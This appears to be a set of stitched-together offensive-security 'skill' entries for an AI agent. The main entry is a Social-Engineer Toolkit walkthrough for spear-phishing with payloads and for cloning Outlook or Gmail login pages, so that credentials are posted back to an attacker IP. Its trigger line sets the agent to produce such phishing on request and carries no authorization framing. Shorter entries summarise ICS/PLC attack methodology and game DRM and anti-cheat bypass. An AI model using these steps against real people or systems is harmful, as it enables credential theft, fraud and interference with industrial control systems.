Social-Engineer Toolkit (SET) for spear-phishing, credential harvesting, and payload delivery via social engineering vectors. Use when asked to create spear-phishing emails with payloads, clone websites for credential harvesting, generate social engineering pretexts, or automate phishing + exploit delivery.

1 > 1 — Send phishing emails with embedded payloads:
1 > 2 — Web-based attacks:
| Option | Description | |--------|-------------| | Java Applet | Signed Java applet dropping payload | | Metasploit Browser | Browser exploit delivery | | Credential Harvester | Clone site + capture creds | | Tabnabbing | Replace inactive browser tab | | Web Jacking | Redirect via iframe | | Multi-Attack | Combine multiple web attacks |
1 > 2 > 3 # Credential Harvester Attack
> 2 # Site cloner
> Enter IP for POST back
> Enter URL to clone (e.g., https://mail.google.com)
SET clones the site and serves it locally. Credentials POSTed to the form are intercepted and logged.
1 > 5 — Send mass spear-phishing emails:
# Credential harvester with site clone
sudo setoolkit
# 1 > 2 > 3 > 2
# Enter attacker IP: 192.168.1.5
# URL to clone: https://outlook.office365.com
# Captured creds stored in: /var/www/ or SET reports dir

development
Offensive methodology for ICS/OT/SCADA environments in authorized industrial penetration testing and red team operations. Use when assessing PLCs, RTUs, HMIs, engineering workstations, historians, or field devices running Modbus, DNP3, EtherNet/IP, S7comm/S7+, Profinet, IEC 60870-5-104, BACnet, or OPC-UA. Covers passive OT network enumeration, protocol-level device interrogation, PLC coil/register read-write attacks, HMI session exploitation, historian and engineering workstation compromise, and safe escalation rules for critical infrastructure scope. Does not cover: general IT network exploitation (network-technique), physical hardware interfaces UART/JTAG/SPI (hardware-technique), wireless sensor network attacks (wireless-technique), RF/SDR signal analysis (hardware-ctf or wireless-technique), or CTF-framed ICS lab tasks (ics-ctf).

Offensive methodology for authorized game security assessments, game client security research, and game-adjacent penetration testing in real-world engagements. Use when assessing game clients for cheating vulnerabilities, testing anti-cheat effectiveness, auditing game server protocols for score manipulation or economic fraud, reverse engineering game DRM or license validation, analyzing game save file protection, or assessing game mod/plugin security. Covers: process memory scanning and manipulation (Cheat Engine methodology), game binary reversing for license and DRM bypass, game network protocol analysis and packet replay, anti-cheat mechanism analysis, save file format reversing and tampering, speed hack and value injection techniques. Does NOT cover: CTF game challenges (game-ctf), game engine source code auditing (web-exploit-technique or vuln-search-technique for the backend), or general binary exploitation (pwn-ctf or reversing-technique).
